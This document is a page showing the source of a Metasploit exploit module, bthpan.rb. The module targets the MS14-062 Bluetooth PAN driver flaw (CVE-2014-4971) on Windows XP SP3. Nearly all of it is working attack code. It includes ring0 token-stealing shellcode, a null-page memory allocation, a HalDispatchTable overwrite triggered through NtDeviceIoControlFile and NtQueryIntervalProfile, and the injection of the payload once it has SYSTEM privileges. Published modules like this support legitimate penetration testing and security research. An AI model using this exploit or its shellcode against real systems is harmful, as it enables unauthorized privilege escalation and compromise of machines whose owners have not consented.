Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bthpan.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = AverageRanking78include Msf::Exploit::Local::WindowsKernel9include Msf::Post::File10include Msf::Post::Windows::FileInfo11include Msf::Post::Windows::Priv12include Msf::Post::Windows::Process1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',19'Description' => %q{20A vulnerability within Microsoft Bluetooth Personal Area Networking module,21BthPan.sys, can allow an attacker to inject memory controlled by the attacker22into an arbitrary location. This can be used by an attacker to overwrite23HalDispatchTable+0x4 and execute arbitrary code by subsequently calling24NtQueryIntervalProfile.25},26'License' => MSF_LICENSE,27'Author' => [28'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC29'Jay Smith <jsmith[at]korelogic.com>' # MSF module30],31'Arch' => ARCH_X86,32'Platform' => 'win',33'SessionTypes' => [ 'meterpreter' ],34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Targets' => [38[39'Windows XP SP3',40{41'HaliQuerySystemInfo' => 0x16bba,42'_KPROCESS' => "\x44",43'_TOKEN' => "\xc8",44'_UPID' => "\x84",45'_APLINKS' => "\x88"46}47]48],49'References' => [50[ 'MSB', 'MS14-062' ],51[ 'CVE', '2014-4971' ],52[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],53[ 'OSVDB', '109387' ]54],55'DisclosureDate' => '2014-07-18',56'DefaultTarget' => 0,57'Compat' => {58'Meterpreter' => {59'Commands' => %w[60stdapi_railgun_api61stdapi_sys_process_attach62stdapi_sys_process_getpid63stdapi_sys_process_memory_write64]65}66}67)68)69end7071def ring0_shellcode72tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"73tokenswap << "\x8B\x40\x44\x50\xBB\x04"74tokenswap << "\x00\x00\x00\x8B\x80\x88"75tokenswap << "\x00\x00\x00\x2D\x88"76tokenswap << "\x00\x00\x00\x39\x98\x84"77tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"78tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"79tokenswap << [session.sys.process.getpid].pack('V')80tokenswap << "\x8B\x80\x88\x00\x00\x00"81tokenswap << "\x2D\x88\x00\x00\x00"82tokenswap << "\x39\x98\x84\x00\x00\x00"83tokenswap << "\x75\xED\x89\xB8\xC8"84tokenswap << "\x00\x00\x00\x61\xC3"85end8687def fill_memory(proc, address, length, content)88session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')8990unless proc.memory.writable?(address)91vprint_error('Failed to allocate memory')92return nil93end94vprint_good("#{address} is now writable")9596result = proc.memory.write(address, content)9798if result.nil?99vprint_error('Failed to write contents to memory')100return nil101end102vprint_good("Contents successfully written to 0x#{address.to_s(16)}")103104return address105end106107def disclose_addresses(t)108addresses = {}109110hal_dispatch_table = find_haldispatchtable111return nil if hal_dispatch_table.nil?112113addresses['halDispatchTable'] = hal_dispatch_table114vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")115116vprint_status('Getting the hal.dll base address...')117hal_info = find_sys_base('hal.dll')118if hal_info.nil?119vprint_error('Failed to disclose hal.dll base address')120return nil121end122hal_base = hal_info[0]123vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")124125hali_query_system_information = hal_base + t['HaliQuerySystemInfo']126addresses['HaliQuerySystemInfo'] = hali_query_system_information127128vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")129addresses130end131132def check133# covers both native x64 and WOW64134if sysinfo['Architecture'] == ARCH_X64135return Exploit::CheckCode::Safe136end137138version = get_version_info139return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3140141handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')142return Exploit::CheckCode::Safe unless handle143144session.railgun.kernel32.CloseHandle(handle)145146return Exploit::CheckCode::Detected147end148149def exploit150if is_system?151fail_with(Failure::None, 'Session is already elevated')152end153154if check == Exploit::CheckCode::Safe155fail_with(Failure::NotVulnerable, 'Exploit not available on this system')156end157158handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')159if handle.nil?160fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')161end162163my_target = targets[0]164print_status('Disclosing the HalDispatchTable address...')165@addresses = disclose_addresses(my_target)166if @addresses.nil?167session.railgun.kernel32.CloseHandle(handle)168fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')169else170print_good('Address successfully disclosed.')171end172173print_status('Storing the shellcode in memory...')174this_proc = session.sys.process.open175kernel_shell = ring0_shellcode176kernel_shell_address = 0x1177178buf = "\x90" * 0x6000179buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400180buf[0x5000, kernel_shell.length] = kernel_shell181182result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)183if result.nil?184session.railgun.kernel32.CloseHandle(handle)185fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')186end187print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")188189print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')190session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)191session.railgun.kernel32.CloseHandle(handle)192193print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')194session.railgun.ntdll.NtQueryIntervalProfile(2, 4)195196print_status('Checking privileges after exploitation...')197198unless is_system?199fail_with(Failure::Unknown, "The privilege escalation wasn't successful")200end201print_good('Privilege escalation successful!')202203p = payload.encoded204print_status("Injecting #{p.length} bytes to memory and executing it...")205unless execute_shellcode(p)206fail_with(Failure::Unknown, 'Error while executing the payload')207end208end209end210211212